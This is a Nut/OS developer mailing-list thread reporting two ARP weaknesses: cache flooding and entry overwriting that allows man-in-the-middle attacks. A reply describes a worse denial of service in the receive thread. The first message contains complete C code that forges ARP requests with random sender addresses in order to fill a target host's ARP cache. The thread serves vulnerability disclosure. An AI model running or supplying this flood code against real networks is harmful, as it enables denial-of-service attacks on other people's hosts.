security leak in ARP

[Dirk.Kaufmann]

security leak in ARP

the function void NutArpInput(NUTDEVICE * dev, NETBUF * nb) in net/arpin.c
adds an entry into the arp-table when ethernut receives an arp-request.
this implementation is proposed in rfc 826. this open 2 security leaks:

1. nut/os will create a new entry when receiving a request, making a
flood attack possible. nut will use up eventually all the heap-memory
for faked arp entries.

2. nut/os will update the mac of existing entries, enabling a
man-in-the-middle
attack.

this is a sourcecode for nut/os to do a flood attack. it sends a faked
arp request, with random sender ip and mac. to fill up the destination
hosts
arp-cache. call void send_fake_request() in a loop...


#include <sys/device.h>
#include <sys/confnet.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#include <dev/board.h>

#include <string.h>
#include <stdlib.h>
#include <stdio.h>

NETBUF *NutArpAllocNetBuf2(uint16_t type, uint32_t ip, uint8_t * mac)
{
    NETBUF *nb;
    ETHERARP *ea;
    ARPHDR *ah;

    if ((nb = NutNetBufAlloc(0, NBAF_NETWORK, sizeof(ETHERARP))) == 0)
        return 0;

    ea = nb->nb_nw.vp; // data buffer
    ah = (ARPHDR *) & ea->ea_hdr;

    /*
     * Set ARP header.
     */
    ah->ar_hrd = htons(ARPHRD_ETHER);
    ah->ar_pro = htons(ETHERTYPE_IP);
    ah->ar_hln = 6;
    ah->ar_pln = 4;
    ah->ar_op = htons(type);

    /*
     * Set ARP destination data.
     */
    if (mac)
        memcpy(ea->arp_tha, mac, 6);
    else
        memset(ea->arp_tha, 0xff, 6); // mac = NULL;
    ea->arp_tpa = ip;

    // fake sender mac
    for(int i=0;i<6;i++)
        ea->arp_sha[i] = rand() & 0xFF;

    return nb;
}

int NutArpOutput2(NUTDEVICE * dev, NETBUF * nb)
{
    ETHERARP *ea;
    IFNET *nif;

    ea = nb->nb_nw.vp;

    /*
     * Set ARP source data.
     */
    nif = dev->dev_icb;
    //memcpy(ea->arp_sha, nif->if_mac, 6);
    //ea->arp_spa = nif->if_local_ip;

    // fake sender ip
    ea->arp_spa &= 0x00FFFFFF;
    ea->arp_spa += ((uint32_t)(rand()%0xff)) << 24;

    return (*nif->if_output)(dev, ETHERTYPE_ARP, ea->arp_tha, nb);
}

void send_fake_request(void)
{
        NUTDEVICE *dev = &DEV_ETHER;
        uint32_t ip = inet_addr("20.0.0.21"); // destination ip, we will
fill the arp-cache on this host
        NETBUF *nb = 0;
        nb = NutArpAllocNetBuf2(ARPOP_REQUEST, ip, 0);
        NutArpOutput2(dev, nb);
        NutNetBufFree(nb);
}










_____________________________







RAUMCOMPUTER
Entwicklungs- und Vertriebs GmbH
Augartenstraße 1
76137 Karlsruhe
www.raumcomputer.com

Rechtsform:Gesellschaft mit beschränkter Haftung
Sitz: Karlsruhe
USt-IdNr: DE 253 419 493
Registergericht: AG Mannheim - HRB 703252

Geschäftsführer:
Dipl.-Ing. Werner Schwind
Dipl.-Kfm. Dietmar O. Böcking
Dr.-Ing. Martin Schaele






RAUMCOMPUTER
Entwicklungs- und Vertriebs GmbH
Augartenstraße 1
76137 Karlsruhe
www.raumcomputer.com

Legal Form:Ltd. (Limited Liability Company)
Registered Office: Karlsruhe
VAT-IdNr: DE 253 419 493
Register Court: AG Mannheim - HRB 703252

Managing Directors:
Dipl.-Ing. Werner Schwind
Dipl.-Kfm. Dietmar O. Böcking
Dr.-Ing. Martin Schaele






Haftungsausschluss
Der Inhalt dieser Mail dient ausschließlich der Information.
Rechtsverbindliche Erklärungen der Raumcomputer Entwicklungs-
und Vertriebs GmbH bedürfen der Unterschrift eines
Geschäftsführers und werden ausschließlich per Brief oder
Fax abgegeben.






Disclaimer
The contents of this e-mail is solely for informational
purposes. Legally binding declarations of
Raumcomputer Entwicklungs- und Vertriebs GmbH
need to be signed by one of the Managing
Directors and will solely be given by letter or fax.




_______________________________________________
http://lists.egnite.de/mailman/listinfo/en-nut-discussion

[Nathan Moore-5]

>
>
>
> the function void NutArpInput(NUTDEVICE * dev, NETBUF * nb) in net/arpin.c
> adds an entry into the arp-table when ethernut receives an arp-request.
> this implementation is proposed in rfc 826. this open 2 security leaks:
>
> 1. nut/os will create a new entry when receiving a request, making a
> flood attack possible. nut will use up eventually all the heap-memory
> for faked arp entries.
>

With only a little more work an attacker may do this anyway.  Nut responds
to ICMP echo (ping) and also sends ICMP error messages,
all of which require an ARP entry.  In fact without the pre-population of
the ARP table with an entry Nut will behave even worse because
for many of the ICMP replies the interface's RX thread will be forced to
send an ARP request, then sleep waiting for an ARP reply, and
never get the reply because it is the same thread that is supposed to
be listening for them.  This is a much more serious DOS because
it would only take sending one packet to a NUT box every several seconds to
keep the network interface's RX thread occupied.

There is a slight chance that this may be triggered in current code.  What
comes to mind is if a ping packet comes into the LAN to a
NUT via a router that the NUT doesn't think is the best route back to the
sender.  If what NUT does think is the best route back to the
sender does not have an entry in the ARP cache then the ethernet RX thread
will end up waiting for an ARP reply that it can't get.
There are other ways to trigger this, but I thought this one might be the
most real world example with no misbehaving LAN neighbors.


>
> 2. nut/os will update the mac of existing entries, enabling a
> man-in-the-middle
> attack.
>

This is exactly the same as if someone else on the LAN is replying to ARP
requests.
If someone else on the Ethernet LAN wants to screw you up they can do it.
 You can't stop them.

In the case of LAN neighbors doing bad things it's probably better to try to
deal with non-malicious bad behavior.


Nathan
_______________________________________________
http://lists.egnite.de/mailman/listinfo/en-nut-discussion